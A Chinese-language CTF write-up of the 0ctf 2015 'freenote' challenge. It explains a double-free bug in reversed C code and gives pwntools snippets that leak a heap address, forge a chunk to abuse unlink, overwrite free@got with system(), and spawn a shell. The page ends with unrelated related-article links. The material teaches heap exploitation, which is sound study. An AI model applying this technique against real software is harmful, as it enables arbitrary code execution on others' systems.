0x00 简介

在入门 c 语言时我们都知道一个常识:通过 malloc() 动态申请的内存在使用完之后需要通过 free() 释放;那么如果因为程序设计不当,导致这块堆内存释放之后,再释放一次会发生什么呢?看起来这个操作似乎很愚蠢,但是 double free 的确是现代软件中十分常见的一种二进制漏洞。

我将通过一个例子来说明 double free 可能造成的危害。这个例子是曾经的一道 0ctf 赛题。ctf 比赛通过简单演示常见计算机漏洞向参与者普及安全技术,是入门安全的较好方法之一。

程序地址:https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote
环境:ubuntu 16.04 x86_64
工具:ida, pwntools, pwndbg

逆向之后还原的代码如下,如果不想看全部可以先注意虚线处的 bug(reversed by

@爱发呆的sakura

):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>typedef struct note {long int flag;//是否存在笔记long int length;//笔记内容的长度char *content;//笔记内容
} note;
typedef struct notes {long int max;long int length;note notes256[256];
} notes;notes *base;void allocate_space() {base = (notes *) malloc(sizeof(notes));for (int i = 0; i < 256; i++) {base->notes256[i].flag = 0;base->notes256[i].length = 0;base->notes256[i].content = NULL;}
}int read_choice() {int choice;puts("== 0ops Free Note ==");puts("1. List Note");puts("2. New Note");puts("3. Edit Note");puts("4. Delete Note");puts("5. Exit");puts("====================");printf("Your choice: ");scanf("%d", &choice);return choice;
}void list() {for (int i = 0;; i++) {if (i >= 256) {break;}if (base->notes256[i].flag == 1) {printf("%d. %s\n", i, base->notes256[i].content);}}
}void read_content(char *temp, int str_len) {int i;int read_num;for (i = 0; i < str_len; i += read_num) {read_num = read(0, (void *) (temp + i), str_len - i);if (read_num <= 0) {break;}}
}void new_note() {int str_len;//字符串长度char *temp;void *str;if (base->length < base->max) {for (int i = 0;; i++) {if (i >= base->max) {break;}if (!base->notes256[i].flag) {printf("Length of new note: ");scanf("%d", &str_len);if (str_len > 0) {if (str_len > 4096) {str_len = 4096;}printf("Enter your note: ");temp = (char *) malloc((128 - str_len % 128) % 128 + str_len);read_content(temp, str_len);base->notes256[i].flag = 1;base->notes256[i].length = str_len;base->notes256[i].content = temp;base->length++;puts("Done.");break;}}}}
}void edit_note() {printf("Note number: ");int num;scanf("%d",&num);int length;scanf("%d",&length);if(length!=base->notes256[num].length){base->notes256[num].content=realloc(base->notes256[num].content,(128 - length % 128) % 128 + length);base->notes256[num].length=length;}printf("Enter your note: ");read_content(base->notes256[num].content,length);puts("Done.");
}void delete_note() {int index;printf("Note number: ");scanf("%d", &index);base->length--;base->notes256[index].flag = 0;base->notes256[index].length = 0;/*------------------------------------------------------------------*/
/*-------------------------- bug is here ---------------------------*/free(base->notes256[index].content);/*-------------------------------------------------------------------*/
/*-------------------------------------------------------------------*/puts("Done.");
}int main() {allocate_space();base->max = 256;while (1) {switch (read_choice()) {case 1:list();break;case 2:new_note();break;case 3:edit_note();break;case 4:delete_note();break;case 5:puts("Bye");return 0;default:puts("Invalid!");break;}}
}

可以看到在

free(base->notes256[index].content);

之后该指针并未置空,在随后的执行流程中可以再次 free 该指针造成 double free 漏洞。如果赋值为 NULL 则不会出现这个问题,释放空指针是安全的行为。

并且注意到在

base->notes256[i].content

固定储存着 note0 字符串的地址,当然,在利用这个指针的时候还需要知道它的地址。然后通过触发 double free,更改存 note0 字符串地址的地方,覆盖 got 表,改变程序执行流程。

下面讲具体实现过程。

0x01 Info Leak

根据源代码可以看出 list 功能中存在一个疏漏可以导致泄漏未初始化的堆中的数据,如果

泄漏地址需要用到两个 chunk,防止合并需要两个,所以首先添加 4 个 note。

这时候的堆布局:

将 0 和 2 释放之后,note0 chunk 中的 BK 将指向 note2 chunk:

这时候添加一个长度小于等于 8 的 note,又将被分配到 note0 的地址,然后在打印其内容的时候将上次 free 后保存的 BK 指针一起打印出来。能这样做是因为,malloc chunk 是空间复用的,每一个 chunk 都只是一段连续内存,根据不同的情况,一个地址的数据可以被解释为用户数据,也可以被解释为堆指针。将这个泄漏的地址减去 1940h 就得到了 heap base。 知道 heap base 之后就可以计算出 base->notes256[i].content.

泄漏地址之后,就可以释放所有 chunk。

实现如下:

for i in range(4):newnote('a')
delnote(0)
delnote(2)newnote('murasaki')s = getnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940
print "heap base is at %s" % hex(heap_base)delnote(0)
delnote(1)
delnote(3)

0x02 unlink()

unlink 在空闲 chunk 合并时触发。在这里,因为不是 fastbin,在 free 时如果前后有空闲 chunk 就会触发 unlink:更改相邻 chunk 相关参数、指针,实现向前或者向后合并。我们可以通过触发 unlink(p, BK, FD), 造成 p = &p - 3,将不可写的地址转化为可写。

为什么呢?我们来回顾一下 unlink(p, BK, FD)的行为:

1. FD = p->fd == &p - 3, BK = p->bk == &p - 2
2. 检查 FD->bk != p || BK->fd != p,可以利用一个已知指针绕过,即上一节泄漏的base->notes256[i].content
3. FD->bk = BK  //即 p = &p - 2
4. BK->fd = FD  //即 p = &p - 3

在二进制可执行文件的层次不存在结构体的概念,只有一段连续的内存,通过偏移量来访问。所以我们可以布置伪造的 chunk,将我们提供的指针被解释为 BK 和 FD,最终实现 p = &p - 3,如果还有不懂的可以查找 unlink 有关资料进一步学习。

接下来是最有意思的部分—— free 伪造堆块实现任意位置读写。堆布局的方法比较灵活,只要能成功利用怎么玩都可以。我的思路是这样的:

  1. 添加 note0,size 为 0x90,用户数据大小为 0x80,内容是一个伪造的 chunk:size == note0 大小 + note1 size == 0x80 + 0x90 == 0x110
  2. 添加更大的 note1,包含多个伪造的 chunk,覆盖了原 note2 的地址,也就是将 double free 的地址。

实现如下:

newnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20))
newnote("a" * 0x80 + p64(0x110) + p64(0x90) + "a" * 0x80 + p64(0) + p64(0x91) + "a" * 0x80)
delnote(2)

经过调试你会发现这个时候就实现了 p = &p - 3,也就是原来储存 note0 地址的地方变了,现在修改 note0 的用户数据就是修改 note0 的地址,之后再编辑 note0 就是改变这个地址的内容。

0x03 覆盖 GOT

因为这个程序的 got 是可写的,所以在实现任意写之后可以将 free@got 覆写成 system() 地址:

elf = ELF('freenote')
off_system=libc.symbols['system']
off_free=libc.symbols['free']
free_got=elf.got['free']
editnote(0, p64(100) + p64(1) + p64(8) + p64(free_got))
s = getnote(0)
free_addr = u64((s.ljust(8, "\x00"))[:8])
libc_addr = free_addr - off_free
system_addr = libc_addr + off_system
print "system is at %s" % hex(system_addr)
editnote(0, p64(system_addr))

现在调用 free() 就是调用 system() :

newnote("/bin/sh\x00")
delnote(2)
p.interactive()

综上,将一个指针释放两次确实是非常危险的行为,它可以造成任意代码执行。希望广大开发者和想从事安全行业的新手们可以从中得到一点点启发。

0x04 完整 EXP

链接:http://pan.baidu.com/s/1jIotmGQ 密码:pdvw

https://zhuanlan.zhihu.com/p/30513886

将一个指针 free 两次之后会发生什么?相关推荐

  1. C++入门经典-例6.14-通过指针连接两个字符数组

    1:字符数组是一个一维数组,引用字符数组的指针为字符指针,字符指针就是指向字符型内存空间的指针变量. char *p; char *string="www.mingri.book" ...

  2. c语言指针输出两个数的最大值和最小值,并求和,有些不清楚这样写为什么不行。

    网上看到一个帖子,居然自己找不出原因. c语言指针输出两个数的最大值和最小值,并求和,有些不清楚这样写为什么不行. #include<stdio.h> int main() {     i ...

  3. c语言用指针两个字母交换,c语言指针基础之用指针交换两个数(代码实例)

    用指针交换两个数: void swap(int *p,int *q) { int temp; temp = *p; *p = *q; *q = temp; } int main() { int a = ...

  4. arrays中copyof复制两个数组_C语言100题集合026-使用指针交换两个数组中的最大值

    系列文章<C语言经典100例>持续创作中,欢迎大家的关注和支持. 喜欢的同学记得点赞.转发.收藏哦- 后续C语言经典100例将会以pdf和代码的形式发放到公众号 欢迎关注:计算广告生态 即 ...

  5. 用指针交换两个数_C语言100题集合026-使用指针交换两个数组中的最大值

    系列文章<C语言经典100例>持续创作中,欢迎大家的关注和支持. 喜欢的同学记得点赞.转发.收藏哦- 后续C语言经典100例将会以pdf和代码的形式发放到公众号 欢迎关注:计算广告生态 即 ...

  6. 一个星号的指针和两个星号的有什么区别

    typedef struct jilu {     char *value;     struct jilu *next; }JL; JL * head = NULL; JL ** p, *q; // ...

  7. C++的指针的坑:“new[]的指针需要delete[]”和“子类指针可以转父类指针”的两条规则成功的冲突到了一起...

    原文地址:http://www.cppblog.com/vczh/archive/2013/04/27/199765.html posted on 2013-04-27 17:24 陈梓瀚(vczh) ...

  8. 分析函数指针及其两个主要用途

    0.基本的函数指针的声明与初始化 首先我们来声明一个函数. int Max_Int(int a, int b) {return (a>b)?a:b; } 把函数名替换成指针表达式是创建指向函数指 ...

  9. C语言 使用指针对两个变量的数值进行互换

    #include <stdio.h>void swap(int *px, int *py){int temp = *px;*px = *py;*py = temp; } int main( ...

最新文章

  1. C++程序员如何入门Unreal Engine 4
  2. torch-toolbox
  3. Python代码如何写的更优雅
  4. dotnet 在 UOS 国产系统上使用 Xamarin Forms 创建 xaml 界面的 GTK 应用
  5. 布隆过滤器速度_详解布隆过滤器的原理、使用场景和注意事项
  6. Oracle 统计信息备份/表分析
  7. Windows程序设计之基本介绍
  8. java窗口按钮位置设置
  9. 《MyBatis3源码深度解析》图书简介
  10. ensp动态路由ospf基础配置
  11. ubuntu nvidia 驱动卸载
  12. 思辨与创新 第二章 展开论证:如何让自己的想法被证明?
  13. 计算机网络学习笔记3-ARP+广播风暴
  14. 黄金分割数0.618与美学有重要的关系。舞台上报幕员所站的位置大约就是舞台宽度的0.618处
  15. dcos - marathon - 有的时候健康检查不是绿条
  16. 狂热之下被遗忘的指标—快充倍率
  17. flutter 保存图片
  18. Rime中州韵导入极点五笔词库(附:自制词库)
  19. HTML5期末大作业:旅游网页设计与实现——旅游风景区网站HTML+CSS (1)
  20. 计算机网络(中科大郑烇)学习笔记

热门文章

  1. Centos 7 安装NodeJS开发环境
  2. ubuntu下使用pidgin(pidgin-lwqq)登陆qq
  3. typedefnbsp;struct与struct的区别
  4. MS SQL收縮資料庫
  5. 当对项目强名时自动构建失败(TeamFoudationServer试用笔记)
  6. win10:tensorflow学习笔记(2)
  7. 【转】C语言如何编译动态库与静态库?
  8. C/C++中extern关键字详解与应用
  9. CRM系统开发经验谈
  10. 【CyberSecurityLearning 21】防火墙